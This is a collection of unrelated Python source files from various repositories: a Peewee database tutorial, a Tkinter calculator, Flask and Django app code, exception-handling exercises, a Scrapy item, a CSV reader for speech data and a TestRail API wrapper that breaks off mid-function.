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#!/usr/bin/env python3 """ Learning persistence with Peewee and sqlite delete the database to start over (but running this program does not require it) """ import logging from create_personjob import * import pprint from datetime import datetime def populate_person_data(): """ add person data to database """ logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) database = SqliteDatabase('personjob.db') logger.info('Working with Person class') PERSON_NAME = 0 LIVES_IN_TOWN = 1 NICKNAME = 2 people = [ ('Andrew', 'Sumner', 'Andy'), ('Peter', 'Seattle', None), ('Susan', 'Boston', 'Beannie'), ('Pam', 'Coventry', 'PJ'), ('Steven', 'Colchester', None) ] logger.info('Creating Person records: iterate through the list of tuples') try: database.connect() database.execute_sql('PRAGMA foreign_keys = ON;') for person in people: with database.transaction(): new_person = Person.create( person_name=person[PERSON_NAME], lives_in_town=person[LIVES_IN_TOWN], nickname=person[NICKNAME]) new_person.save() logger.info('Database add successful') logger.info('Print the Person records we saved...') for saved_person in Person: logger.info(f'{saved_person.person_name} lives in {saved_person.lives_in_town} ' + f'and likes to be known as {saved_person.nickname}') except Exception as e: logger.info(f'Error creating = {person[PERSON_NAME]}') logger.info(e) logger.info('See how the database protects our data') finally: logger.info('database closes') database.close() def populate_department_data(): """ add department data to database """ logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) database = SqliteDatabase('personjob.db') logger.info('Working with Department class') logger.info('Creating Department records') DPT_NUMBER = 0 DPT_NAME = 1 DPT_MANAGER = 2 departments = [ ('F001', 'Finance', 'Dominic Magee'), ('BU00', 'Business Operations', 'Tamara Burns'), ('BU05', 'Senior Business Analyst', 'Elvin Ryce'), ('AD01', 'Administration', 'Tiana Colby'), ('MG01', 'Management', 'Scott Huston') ] try: database.connect() database.execute_sql('PRAGMA foreign_keys = ON;') for dpt in departments: with database.transaction(): new_dpt = Department.create( dpt_number=dpt[DPT_NUMBER], dpt_name=dpt[DPT_NAME], dpt_manager=dpt[DPT_MANAGER]) new_dpt.save() logger.info('Read and print all Department rows') for dpt in Department: logger.info(f'dpt number: {dpt.dpt_number} ' + f'dpt name: {dpt.dpt_name} ' + f'dpt manager: {dpt.dpt_manager}') except Exception as e: logger.info(f'Error creating = {dpt[DPT_NUMBER]}') logger.info(e) finally: logger.info('database closes') database.close() def populate_job_data(): """ add job data to database """ logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) database = SqliteDatabase('personjob.db') logger.info('Working with the Job class') JOB_NAME = 0 START_DATE = 1 END_DATE = 2 SALARY = 3 PERSON_EMPLOYED = 4 DPT_NUMBER = 5 jobs = [ ('Analyst', '2001-09-22', '2003-01-30', 65500, 'Andrew', 'F001'), ('Senior analyst', '2003-02-01', '2006-10-22', 70000, 'Andrew', 'BU00'), ('Senior business analyst', '2006-10-23', '2016-12-24', 80000, 'Andrew', 'BU05'), ('Admin supervisor', '2012-10-01', '2014-11-10', 45900, 'Peter', 'AD01'), ('Admin manager', '2014-11-14', '2018-01-05', 45900, 'Peter', 'MG01') ] try: database.connect() database.execute_sql('PRAGMA foreign_keys = ON;') for job in jobs: with database.transaction(): new_job = Job.create( job_name=job[JOB_NAME], start_date=job[START_DATE], end_date=job[END_DATE], salary=job[SALARY], person_employed=job[PERSON_EMPLOYED], departmnet=job[DPT_NUMBER]) new_job.save() logger.info('Reading and printing all Job rows (note the value of person)...') for job in Job: logger.info(f'{job.job_name} : {job.start_date} ' + f'to {job.end_date} for {job.person_employed} ' + f'dept_id: {job.departmnet}') except Exception as e: logger.info(f'Error creating = {job[JOB_NAME]}') logger.info(e) finally: logger.info('database closes') database.close() def select_dpt_history(): """ Produces a list using pretty print that shows all of the departments a person worked in for every job they ever had. """ database = SqliteDatabase('personjob.db') database.connect() database.execute_sql('PRAGMA foreign_keys = ON;') names = Job.select(Job.person_employed).distinct() for name in names: print("\nEmployee name: {}".format(str(name.person_employed))) query = (Job .select(Person.person_name, Department.dpt_name, Department.dpt_number, Job.start_date, Job.end_date) .join(Person, on=(Person.person_name == Job.person_employed)) .join(Department, on=(Department.dpt_number == Job.departmnet)) .where(Person.person_name == name.person_employed) .namedtuples()) for row in query: days_worked = day_diff(row.end_date, row.start_date) out = ("Department number: " + row.dpt_number, "Department name: " + row.dpt_name, "Start Date: " + row.start_date, "End Date: " + row.end_date, "Days Worked: " + str(days_worked)) pprint.pprint(out) def day_diff(d1, d2): date1 = datetime.strptime(d1, '%Y-%m-%d') date2 = datetime.strptime(d2, '%Y-%m-%d') return abs((date2 - date1).days) if __name__ == '__main__': populate_person_data() populate_department_data() populate_job_data() select_dpt_history()

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# calci from tkinter import * def click(event): global scvalue text=event.widget.cget("text") if (text=='='): if scvalue.get().isdigit(): value=int(scvalue.get()) else: try: value=eval(screen.get()) except Exception as e: value="ERROR" scvalue.set(value) screen.update() elif(text=='<-'): value=scvalue.get() scvalue.set(value[:-1]) elif(text=='C'): scvalue.set("") screen.update() else: scvalue.set(scvalue.get() + text) screen.update() root=Tk() scvalue=StringVar() scvalue.set("") screen=Entry(root,text=scvalue,font="lucida 18 bold") screen.pack(pady=8) f1=Frame(root,bg="grey") b1=Button(f1,text="9",font="lucida 20 bold") b1.bind("<Button-1>",click) b1.pack(padx=30,pady=20,side="left") b2=Button(f1,text="8",font="lucida 20 bold") b2.bind("<Button-1>",click) b2.pack(padx=30,pady=20,side="left") b3=Button(f1,text="7",font="lucida 20 bold") b3.bind("<Button-1>",click) b3.pack(padx=30,pady=20,side="left") b4=Button(f1,text="/",font="lucida 20 bold") b4.bind("<Button-1>",click) b4.pack(padx=30,pady=20,side="left") f1.pack() f2=Frame(root,bg="grey") b1=Button(f2,text="6",font="lucida 20 bold") b1.bind("<Button-1>",click) b1.pack(padx=30,pady=20,side="left") b2=Button(f2,text="5",font="lucida 20 bold") b2.bind("<Button-1>",click) b2.pack(padx=30,pady=20,side="left") b3=Button(f2,text="4",font="lucida 20 bold") b3.bind("<Button-1>",click) b3.pack(padx=30,pady=20,side="left") b4=Button(f2,text="*",font="lucida 20 bold") b4.bind("<Button-1>",click) b4.pack(padx=30,pady=20,side="left") f2.pack() f3=Frame(root,bg="grey") b1=Button(f3,text="3",font="lucida 20 bold") b1.bind("<Button-1>",click) b1.pack(padx=30,pady=20,side="left") b2=Button(f3,text="2",font="lucida 20 bold") b2.bind("<Button-1>",click) b2.pack(padx=30,pady=20,side="left") b3=Button(f3,text="1",font="lucida 20 bold") b3.bind("<Button-1>",click) b3.pack(padx=30,pady=20,side="left") b4=Button(f3,text="-",font="lucida 20 bold") b4.bind("<Button-1>",click) b4.pack(padx=30,pady=20,side="left") f3.pack() f4=Frame(root,bg="grey") b1=Button(f4,text="C",font="lucida 20 bold") b1.bind("<Button-1>",click) b1.pack(padx=30,pady=20,side="left") b2=Button(f4,text="0",font="lucida 20 bold") b2.bind("<Button-1>",click) b2.pack(padx=30,pady=20,side="left") b3=Button(f4,text="=",font="lucida 20 bold") b3.bind("<Button-1>",click) b3.pack(padx=30,pady=20,side="left") b4=Button(f4,text="+",font="lucida 20 bold") b4.bind("<Button-1>",click) b4.pack(padx=30,pady=20,side="right") f4.pack() f5=Frame(root,bg='grey') b1=Button(f5,text="<-",font="lucida 20 bold") b1.bind("<Button-1>",click) b1.pack(padx=30,pady=20,side="left") b2=Button(f5,text="%",font="lucida 20 bold") b2.bind("<Button-1>",click) b2.pack(padx=30,pady=20,side="left") b3=Button(f5,text="(",font="lucida 20 bold") b3.bind("<Button-1>",click) b3.pack(padx=30,pady=20,side="left") b4=Button(f5,text=")",font="lucida 20 bold") b4.bind("<Button-1>",click) b4.pack(padx=30,pady=20,side="left") f5.pack() root.mainloop()

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2023-01-27T15:53:42.273662

2020-12-11T11:12:00

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from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_uploads import UploadSet, configure_uploads, IMAGES from flask_mail import Mail from flask_bootstrap import Bootstrap from flask_admin import Admin from config import config_options db = SQLAlchemy() login_manager = LoginManager() login_manager.session_protection = "strong" login_manager.login_view = "auth.login" photos = UploadSet("photos", IMAGES) mail = Mail() bootstrap = Bootstrap() admin = Admin() def create_app(config_name): app = Flask(__name__) # Creating the app configurations app.config.from_object(config_options[config_name]) # Initializing flask extensions db.init_app(app) login_manager.init_app(app) mail.init_app(app) bootstrap.init_app(app) admin.init_app(app) # Registering the main app Blueprint from .main import main as main_blueprint app.register_blueprint(main_blueprint) # Registering auth blueprint from .auth import auth as auth_blueprint app.register_blueprint(auth_blueprint, url_prefix = "/authenticate") # Configure UploadSet configure_uploads(app, photos) return app

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tesiregisele@gmail.com

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IndrajeetTech2020/airflow-material

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#!/home/indrajeet/Downloads/airflow-materials/airflow-materials/airflow-section-7/venv3/bin/python # -*- coding: utf-8 -*- import re import sys from jsonschema.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

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/excepciones/Exception1.py

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miguelLopezUlloa/Python-course

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from excepciones.NumberEqualsException import NumberEqualsException class Exception1: def __init__(self): print("Manage exception are ready") def mngExceptionCase1(self): resultado = None a = "10" b = 0 try: resultado = a/b # except ZeroDivisionError as e --> Esta manera solo atrapara Division / 0 y la de Typo NO except Exception as e: print("Ocurrio un error", e) print(type(e)) print("Continua el procesamiento....") print("El resultado de la operacion es:",resultado) def mngExceptionCase2(self): resultado = None a = int(input("Introduce un número:")) b = int(input("Introduce otro número:")) try: resultado = a / b # except ZeroDivisionError as e --> Esta manera solo atrapara Division / 0 y la de Typo NO except ZeroDivisionError as e: print("Ocurrio un error atrapado por ZeroDivisionError", e) print(type(e)) except TypeError as e: print("Ocurrio un error atrapado por Type Error", e) print(type(e)) except ValueError as e: print("Ocurrio un error atrapado por Value Error", e) print(type(e)) except Exception as e: print("Ocurrio un error atrapado por Exception Gral", e) print(type(e)) else: print("No se presento ninguna exception") finally: print("Fin del manejo de Exceptions") print("Continua el procesamiento....") print("El resultado de la operacion es:", resultado) def mngExceptionCase3(self): resultado = None try: a = int(input("Introduce un número:")) b = int(input("Introduce otro número:")) if a == b: raise NumberEqualsException("Detectados Números Identicos en los valores introducidos..") resultado = a/b # except ZeroDivisionError as e --> Esta manera solo atrapara Division / 0 y la de Typo NO except Exception as e: print("Ocurrio un error.. +:", e) print(type(e)) print("Continua el procesamiento....") print("El resultado de la operacion es:",resultado) def listAllExceptions(self): print(dir(locals()['__builtins__'])) #print("Hola") excpt = Exception1() #excpt.mngExceptionCase1() #excpt.mngExceptionCase2() excpt.mngExceptionCase3() print("*" *60) #excpt.listAllExceptions()

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from collections import namedtuple import random Transition = namedtuple('Transition', ('state', 'action', 'next_state', 'reward')) class ReplayMemory(object): def __init__(self, capacity): self.capacity = capacity self.memory = [] self.position = 0 def push(self, *args): """Saves a transition.""" if len(self.memory) < self.capacity: self.memory.append(None) self.memory[self.position] = Transition(*args) self.position = (self.position + 1) % self.capacity def sample(self, batch_size): return random.sample(self.memory, batch_size) def __len__(self): return len(self.memory)

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/Server/app/conf/__init__.py

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Harriet92/2ndHandBookshop

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import os config = None if 'DYNO' in os.environ: from .production import ProductionConfig config = ProductionConfig else: from.local import LocalConfig config = LocalConfig

[ "jakub.skalecki@gmail.com" ]

jakub.skalecki@gmail.com

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/CTRL/views.py

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drkessler91/CTRL_SHIFT

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2023-06-22T02:33:31.934691

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from django.shortcuts import render, HttpResponse, redirect from CTRL_SHIFT import CtrlShift from CTRL.InputForm import InputForm # Create your views here. def login(request): context = {} context['form'] = InputForm() return render(request, 'login_page.html', context) employees_name = CtrlShift.name_for_employee_in_shift employees_shifts = CtrlShift.fillEmp() print(employees_shifts) def shift(request): print('Worker Number') if request.method == 'POST': emp_id = request.POST.get('uname') print(emp_id) for i in range(employees_shifts.__len__()): key = employees_shifts.__getitem__(i) if key.get(int(emp_id)): print(key) for employee_name in range(employees_name.__len__()): key_name = employees_name.__getitem__(employee_name) if key_name[2] == (int(emp_id)): for j in range(key.__len__()): emp = key[int(emp_id)] emp.__setitem__('first_name', key_name[0]) emp.__setitem__('last_name', key_name[1]) print('emp') print(emp) return render(request, 'shift_page.html', {'emp':emp}) """ class CtrlConfig(AppConfig): name = "CTRL" """

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50701121+drkessler91@users.noreply.github.com

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/CSVReader.py

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tungminh111/speech_processing

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import csv import os import re class CSVReader: def __init__(self): self.reader = None self.dir_path = os.path.dirname(os.path.realpath(__file__)) self.mssv = [] dirname = os.path.join(self.dir_path, 'assignment1') for subdirname in os.listdir(dirname): if subdirname[:8] not in self.mssv: self.mssv.append(subdirname[:8]) self.ouput_path = os.path.join(self.dir_path, "output_data") def recordWord(self, s): output_path = os.path.join(self.ouput_path, s) output_path = os.path.join(output_path, s + ".txt") wf = open(output_path, 'w', encoding='utf-8') orgS = s s = s.lower() s = re.split(' *', s) c = 0 with open('text-data.csv', mode='r', encoding='utf-8') as csv_file: csv_reader = csv.DictReader(csv_file) for row in csv_reader: if row['Mã SV'] not in self.mssv: continue dirname = os.path.join(self.dir_path, 'assignment1') for subdirname in os.listdir(dirname): if not os.path.isdir(os.path.join(dirname, subdirname)): continue if subdirname[:8] == row['Mã SV']: dirname = os.path.join(dirname, subdirname) break for key, value in row.items(): if key != 'STT' and key != 'Mã SV' and key != 'Họ và tên': lineList = value.split('\n') for id in range((len(lineList) - 1) // 2): filename = lineList[1 + id * 2] sentence = lineList[2 + id * 2] sentence = str(sentence).lower() wordList = re.split('\.|,| * ',sentence) if self.match(s, wordList): filename = self.findFile(dirname, key, filename) if filename == 'not found': continue c += 1 self.writeFile(wf, filename) wf.close() print(c) def match(self, s, t): for i in range(len(t) - len(s) + 1): cur = True for j in range(len(s)): if s[j] != t[i + j]: cur = False break if cur: return True return False def writeFile(self, wf, filename): wf.write(os.fsdecode(filename) + "\n") def no_accent_vietnamese(self, s): s = re.sub(u'[àáạảãâầấậẩẫăằắặẳẵ]', 'a', s) s = re.sub(u'[ÀÁẠẢÃĂẰẮẶẲẴÂẦẤẬẨẪ]', 'A', s) s = re.sub(u'èéẹẻẽêềếệểễ', 'e', s) s = re.sub(u'ÈÉẸẺẼÊỀẾỆỂỄ', 'E', s) s = re.sub(u'òóọỏõôồốộổỗơờớợởỡ', 'o', s) s = re.sub(u'ÒÓỌỎÕÔỒỐỘỔỖƠỜỚỢỞỠ', 'O', s) s = re.sub(u'ìíịỉĩ', 'i', s) s = re.sub(u'ÌÍỊỈĨ', 'I', s) s = re.sub(u'ùúụủũưừứựửữ', 'u', s) s = re.sub(u'ƯỪỨỰỬỮÙÚỤỦŨ', 'U', s) s = re.sub(u'ỳýỵỷỹ', 'y', s) s = re.sub(u'ỲÝỴỶỸ', 'Y', s) s = re.sub(u'Đ', 'D', s) s = re.sub(u'đ', 'd', s) return s.encode('utf-8') def findFile(self, dirpath, dirname, filename): dirname = re.split('-| *|_', dirname) for i in range(len(dirname)): dirname[i] = dirname[i].lower() dirname[i] = self.no_accent_vietnamese(dirname[i]) for subdir, dirs, files in os.walk(dirpath): basename = os.path.basename(subdir) basename = re.split('-| *|_', basename) same = True for i in range(len(basename)): basename[i] = basename[i].lower() basename[i] = self.no_accent_vietnamese(basename[i]) if len(basename) != len(dirname): same = False else: for i in range(len(basename)): if basename[i] != dirname[i]: same = False if not same: continue for file in files: if file == filename: return os.path.join(subdir, filename) return 'not found' if __name__ == '__main__': reader = CSVReader() reader.recordWord('')

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noreply@github.com

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Jason-wjq/novel

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# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://docs.scrapy.org/en/latest/topics/items.html import scrapy class NovelXbiqugeItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() title = scrapy.Field() author = scrapy.Field() chapter = scrapy.Field() content = scrapy.Field() ordinal = scrapy.Field()

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#!/usr/bin/python """ Author: Prabhu Kalaimani Purpose: The purpose of the library is to use the api's provided by TestRail. This utility is developed using python 3 environment. Note: We need the Testrail binding methods which can be downloaded from from https://github.com/gurock/testrail-api """ from testrail import APIClient, APIError import urllib.error as err import trDefines as Defines import logging import logging.config import os class TestRailLib: """ This class contains methods for accessing TestRail API's. For more information : https://www.gurock.com/testrail """ def __init__(self, tr_server, user_name, password): """ This method will initialize the TestRail server using the user name and password provided :param tr_server: Name of the Test Rail server :param user_name: TestRail user id :param password: TestRail password """ file_dir = os.path.split(os.path.realpath(__file__))[0] logging.config.fileConfig(os.path.join(file_dir, "trlogger.ini")) # Configure the logger self._log = logging.getLogger('testrail') self._log.info("Starting TestRail application ") # TestRail Connection status # Note: This variable is used to ensure we have a valid TestRail Instance self._connection_status = False try: # Check if the URL is valid self._client = APIClient(tr_server) self._client.password = password self._client.user = user_name self._connection_status = True # Check if the url, user name and password is set correctly by accessing an API self._client.send_get(Defines.TR_API_GET_PROJ + "/" + str(Defines.TR_PROJ_ID_OTG)) self._log.info("Connected to TestRail server {} with user-id {}".format(tr_server, user_name)) except err.URLError: self._log.exception("Url: {} is not valid".format(tr_server)) raise err.URLError("Error: Please check the URL") except APIError: self._log.critical( "User-id or Password is not correct. Failed to connect with TestRail url: {}".format(tr_server)) raise APIError("Error: Please check user id and password") def __extract_dictionary(self, src_dict, extract_list, dict_type=Defines.DICT_SUB, ret_dict_key=Defines.TR_TP_ID): """ This method will extract and create a new dictionary based on the attributes passed. The extraction can be done on a single plain dictionary or dictionary within a dictionary. Note: The ret_dict_key must be an unique identifier as its the ret_dict key. :param src_dict: Source dictionary :param extract_list: List of keys to be extracted :param dict_type: This parameter determines if we need to extract values from simple dictionary or sub dictionaries :param ret_dict_key: Key that must be used for return dictionary :return: List of dictionary with ret_dict_key as key. Example output ret_dict = { 1:{'description':'Example 1'} , 2: {'description': 'Example 2} } """ if extract_list: # Extracting list containing dictionary of dictionary ( sub dictionary) # Example [ 1:{'description':'Example 1'} , 2: {'description': 'Example 2} ] if dict_type in Defines.DICT_SUB: ret_dict = [] # This code applies on sub dictionary for src_key in src_dict: tmp_list = {} for extract_key in extract_list: # Check if the key is present in source dictionary ( dictionary of dictionary) if extract_key in src_key: tmp_list[extract_key] = src_key[extract_key] else: self._log.info( "{} is invalid key or not present in the source dictionary".format(extract_key)) # update the return dictionary with key as the plan id if dict_type in Defines.DICT_SUB: ret_dict.append({src_key[ret_dict_key]: tmp_list}) else: ret_dict.append(tmp_list) else: # Extracting items from Plain dictionary # In simple scenario it will return a dictionary not a list ret_dict = {} for extract_key in extract_list: if extract_key in src_dict: ret_dict[extract_key] = src_dict[extract_key] else: self._log.debug("Nothing to extract. All items will be returned") ret_dict = src_dict return ret_dict def count_values_in_sub_dict(self, dict_list, grp_item_key): """ This method will group and count the keys of a sub dictionary See the example in the doc string for output :param dict_list: Input dictionary :param grp_item_key: key which needs to be grouped :return: count of the values in the sub dictionary Example : [ A:{color:'a'}, B:{color:'b'}, C:{color:'a'}, D:{color:'a'}] output: {a:3, b1} """ ret_dict = {} cnt = 1 try: for list_items in dict_list: for key, value in list_items.items(): if value[grp_item_key] in ret_dict: ret_dict[value[grp_item_key]] = ret_dict[value[grp_item_key]] + 1 else: ret_dict[value[grp_item_key]] = cnt except KeyError: self._log.exception("KeyError Exception for key ") return ret_dict def tr_api_post(self, api, params): """ This method is a wrapper method to call the POST methods of TestRail :param api: Test Rail API :param params: Post parameters for the Test Rail API. :return: True, message or False, Message True with and the return message will vary depending on the api requested False with and the return message will be the exception caught """ status = False try: return_msg = self._client.send_post(api, params) status = True self._log.info("Successfully sent data using POST method. API = {} Data = {}".format(api, params)) except APIError as e: self._log.exception("API Exception for api POST {} - Exception: {}".format(api, e)) return_msg = e return status, return_msg def tr_api_get(self, api, params): """ This method is a wrapper method to call the GET methods of TestRail apends the TestRail API and the parameters. :param api: TestRail api to be called ( Example: get_case) :param params: The GET parameters for API Methods :return: True, message or False, Message True with and the return message will vary depending on the api requested False with and the return message will be the exception caught """ status = False try: return_msg = self._client.send_get(api+"/"+str(params)) status = True self._log.info("Successfully sent data using GET method. API = {} Data = {}".format(api, params)) except APIError as e: self._log.exception("API Exception for api GET {} - Exception: {}".format(api, e)) return_msg = e return status, return_msg # Methods for TestRail Test Plans def tr_get_all_plans(self, project_id, project_fields): """ This method will extract all the plans for a project. We can specify what attribute of TestRail project We want to extract using project_fields. :param project_id: Project id ( Example 1) :param project_fields: This is a list of fields needed for project Example: project passed count, failed count etc :return: status( Boolean) and ret_list : list of Plans with attributes from project_fields """ ret_dict = None status, ret_list = self.tr_api_get(Defines.TR_API_GET_PLANS, project_id) if status: ret_dict = self.__extract_dictionary(ret_list, project_fields) return status, ret_dict def tr_get_tc_suites_in_project(self, project_id=Defines.TR_CURRENT_PROJECT, extract_list=None): """ This method will get the suites available in the TestRail project :param project_id: Project id :param extract_list: The attribute required to be extracted from test suites :return: Dictionary of project test suites with the attributes mentioned in extract_list """ # If the extract list is none at least extract the description if extract_list is None: extract_list = [Defines.TR_TS_DESCRIPTION] ret_dict = {} ret_status, suite_list = self.tr_api_get(Defines.TR_API_GET_SUITES, project_id) if ret_status: ret_dict = self.__extract_dictionary(suite_list, extract_list, ret_dict_key=Defines.TR_TS_ID) else: self._log.error("Error in getting test suites") return ret_status, ret_dict def tr_get_tescase_in_run(self, run_id, extract_list=None): """ This method will extract all the test for a run. You can pass what you want to extract using extract_list. :param run_id: Test run id :param extract_list: attributes that needs to be extracted :return: list of dictionaries containing the test case information """ ret_list = [] # if the extract list is None. Extract the Description and automated fields if extract_list is None: extract_list = [Defines.TR_TC_CUSTOM_TEST_DESCRIPTION, Defines.TR_TC_CUSTOM_AUTOMATED] status, tc_list = self.tr_api_get(Defines.TR_TESTS_GET_TESTS, run_id) if status: # For each test extract the required elements for tst in tc_list: ret_list.append(self.__extract_dictionary(tst, extract_list, dict_type=Defines.DICT_SIMPLE)) self._log.info("Extracted test cases successfully from run {}".format(run_id)) else: self._log.error("Error in extracting the test cases for run {}".format(run_id)) return status, ret_list def tr_get_test_cases(self, suite_id, extract_list=None): """ This method will get all the test cases of a suite. A suite in TestRail contains collection of test cases :param suite_id: suite id from TestRail :param extract_list: attribuites needed to extract for each test case. Use the TR_TC_XXXX attributes :return: Status , dictionary of test cases available for the suite """ ret_dict = {} # if the extract list is none extract the description and created by fields if extract_list is None: extract_list = [Defines.TR_TC_CUSTOM_TEST_DESCRIPTION, Defines.TR_TC_CREATED_BY] qry_str = str(Defines.TR_CURRENT_PROJECT) + "&" + Defines.TR_TS_SUITE_ID + "=" + str(suite_id) status, ret_list = self.tr_api_get(Defines.TR_API_GET_CASES, qry_str) if status: ret_dict = self.__extract_dictionary(ret_list, extract_list, ret_dict_key=Defines.TR_TC_ID) else: self._log.error("Error in getting the test case") return status, ret_dict def tr_get_test_case_info(self, tc_id, extract_list=None): ret_dict_list = None # Extract title as default value if extract_list is None: extract_list = [Defines.TR_TC_TITLE] status, ret_list = self.tr_api_get(Defines.TR_API_GET_CASE, tc_id) if status: ret_dict_list = self.__extract_dictionary(ret_list, extract_list, dict_type=Defines.DICT_SIMPLE, ret_dict_key=Defines.TR_TC_ID) else: self._log.error("Error in executing API {}".format(Defines.TR_API_GET_CASE)) return status, ret_dict_list def tr_get_test_plan(self, plan_id, ): """ This method will get the plan in a test run. A run id start with RXXXX format in TestRail :param plan_id: :return: """ status, ret_msg = self.tr_api_get(Defines.TR_API_GET_PLAN, plan_id) if not status: self._log.error("Error while getting the plan details for plan {}".format(plan_id)) return status, ret_msg def tr_get_testsuite_info_in_test_plan(self, plan_id): """ This method will get the list of test suites in a test plan. The return dictionary will also contain the config information of a test suite. :param plan_id: :return: """ # Testplan - > Test runs -> config ret_dict_list = [] # First get the test plan details. Test plan will contain test suites. # Test suites can have multiple Configurations status, ret_msg = self.tr_get_test_plan(plan_id) if status: # Get the runs of the test plan. This can be extracted using the entries field in the test plan tp_entries = ret_msg[Defines.TR_TP_ENTRIES] if tp_entries: # For each entries ( Test suites) get the suite information and the config information. # Ex: a test suite A can be tested on different configs like iOS or Android for entries_item in tp_entries: runs = entries_item[Defines.TR_TP_RUNS] for run in runs: tmp = {run[Defines.TR_TS_ID]: {Defines.TR_TP_SUITE_ID: run[Defines.TR_TP_SUITE_ID], Defines.TR_TP_TR_CONFIG: run[Defines.TR_TP_TR_CONFIG], Defines.TR_TP_TR_CONFIG_IDS: run[Defines.TR_TP_TR_CONFIG_IDS]}} ret_dict_list.append(tmp) else: # The plan has no suites. Make an entry in the logger self._log.error( "Test plan has no test suites selected. Check and add test suites to the test plan {}".format( plan_id)) else: self._log.error("Error in calling tr_get_test_plan for the run_id-{}".format(plan_id)) return status, ret_dict_list def tr_get_testcase_in_test_plan(self, plan_id, extract_list=None): """ This method will collect the test in a test plan using the test plan id and segregates into automated and manual test cases. :param plan_id: Test plan id :param extract_list: Attribute which need to be extracted :return: status (Boolean), automated test cases, manual test cases """ automated_test_case_list = [] manual_test_case_list = [] # default extract list to id if extract_list is None: extract_list = [Defines.TR_TC_ID] status, tp_info_list = self.tr_get_testsuite_info_in_test_plan(plan_id) # Make sure if the automation key is present in the extract list. # This step is required as we need to segregate manual and automated test cases if Defines.TR_TC_CUSTOM_AUTOMATED not in extract_list: extract_list.append(Defines.TR_TC_CUSTOM_AUTOMATED) self._log.info("Adding {} key to the extract list".format(Defines.TR_TC_CUSTOM_AUTOMATED)) if status: self._log.error("Extracted dictionary of plan {}".format(plan_id)) for run_dic in tp_info_list: # For each item(suite) in test plan, extract the run-id(key) and the config params (keys) for run_id, tp_suite_info in run_dic.items(): status, tc_list = self.tr_get_tescase_in_run(run_id, extract_list) for tc in tc_list: if tc['custom_automated']: automated_test_case_list.append(tc) else: manual_test_case_list.append(tc) else: self._log.error("Error in extracting information from test plan {}".format(plan_id)) return status, automated_test_case_list, manual_test_case_list def get_test_plan_results(self, plan_id, automated): """ This method will get all the test cases status (results) for a test plan. This method will first find the runs of a test plan and then segregates the test to manual and automated lists :param plan_id: Plan id :param automated: Define.TR_MANUAL_TC = Manual test cases Defines.TR_AUTOMATED_TC = Automated test cases Defines.TR_ALL_TC = Manual and automated test cases :return: status ( Boolean), manual_tc ( Manual test case list) , automated_tc( Automated test case list) """ automated_tc = Defines.TR_TC_RESULTS_DICT.copy() manual_tc = Defines.TR_TC_RESULTS_DICT.copy() # Get all the test cases for the test plan # If automation is True get only automated test case status, automated_test_case_list, manual_test_case_list = self.tr_get_testcase_in_test_plan(plan_id, extract_list=[Defines.TR_TC_STATUS_ID]) # Get the results based on automated flag if status: try: if automated in Defines.TR_MANUAL_TC or automated in Defines.TR_ALL_TC: for tc in manual_test_case_list: status_id = tc[Defines.TR_TC_STATUS_ID] manual_tc[Defines.TR_TC_STATUS_DICT[status_id]] = manual_tc[Defines.TR_TC_STATUS_DICT[status_id]] + 1 if automated in Defines.TR_AUTOMATED_TC or automated in Defines.TR_ALL_TC: for tc in automated_test_case_list: status_id = tc[Defines.TR_TC_STATUS_ID] automated_tc[Defines.TR_TC_STATUS_DICT[status_id]] = automated_tc[Defines.TR_TC_STATUS_DICT[status_id]] + 1 manual_tc[Defines.TC_TOTAL] = sum(manual_tc.values()) automated_tc[Defines.TC_TOTAL] = sum(automated_tc.values()) except KeyError: # Raise the error else the result will not match with TestRail. The missing key needs to be fixed. self._log.exception("Please check the TR_TC_STATUS_DICT parameters. Looks like these a mismatch with TestRail") raise KeyError("Please check the TR_TC_STATUS_DICT parameters. Looks like these a mismatch with TestRail") self._log.info("Manual test case = {}".format(manual_tc)) self._log.info("Automated test case = {}".format(automated_tc)) return status, manual_tc, automated_tc def tr_add_test_case_result(self, run_id, case_id, status_id, jir_defect=None, version=None, comments=None, elapsed=None): """ This method will post result for a test case. We meed run id or the test plan and case id of the test to post results. :param run_id: (Mandatory) Run id of the test plan (Note: Suite id which starts with R example: RXXXX) :param case_id: (Mandatory) Case if of the test case (Note: Case id starts with C example: CXXXX) :param status_id: (Mandatory) One of the valid status id (1:pass,2:blocked,3:Untested,4:retest,5:failed,6:Not implemented,7:Not Testable) :param jir_defect: Any old or know jira defect for this test case :param version: Test code version ( firmware version) :param comments: Amu test comments for failure or pass :param elapsed: Time for the test. Default is 2 seconds :return: status( Boolean) , updated test case dictionary """ # Set the default values if elapsed is None: elapsed = Defines.TR_TC_RESULT_DEFAULT_EXEC_TIME test_result = { Defines.TR_TC_STATUS_ID: status_id, Defines.TR_TC_RESULT_COMMENT: comments, Defines.TR_TC_RESULT_ELAPSED: elapsed, Defines.TR_TC_RESULT_VERSION: version, Defines.TR_TC_RESULT_DEFECTS: jir_defect } # Make the api string api_str = Defines.TR_API_ADD_RESULT_FOR_CASES + "/" + str(run_id) + "/" + str(case_id) self._log.info("Adding results using API string {}".format(api_str)) # Call the API post method status, return_msg = self.tr_api_post(api_str, test_result) return status, return_msg def tr_add_result(self, run_id, params=None): """ This method will add result to individual test run ( Starts with TXXXXX) :param run_id: Test case Test run id :param params: Parameters to set like status, comments etc :return: status( Boolean) and return dictionary with updates """ if params is None: params = {Defines.TR_TC_RESULT_ELAPSED: '0', Defines.TR_TC_STATUS_ID: 5} api_str = Defines.TR_API_ADD_RESULT + "/" + str(run_id) status, return_msg = self.tr_api_post(api_str, params) if not status: self._log.error("Error in adding results for run_id {}".format(run_id)) return status, return_msg def add_result_for_entire_test_plan(self, test_plan_id, status_id, automated=Defines.TR_ALL_TC, comments=None, elapsed=None, version=None): """ This method will set the parameters like status, comment version etc for the entire test plan. You can use this function for resetting the entire plan before you start. Mostly useful in nightly test preparation """ if elapsed is None: elapsed = '0' return_msg = None # Collect all the test cases of a test plan status, automated_test_case_list, manual_test_case_list = self.tr_get_testcase_in_test_plan(test_plan_id, extract_list=[Defines.TR_RUN_ID]) tc_list = [] if automated in Defines.TR_AUTOMATED_TC: tc_list.append(automated_test_case_list) elif automated in Defines.TR_MANUAL_TC: tc_list.append(manual_test_case_list) else: tc_list.append(manual_test_case_list) 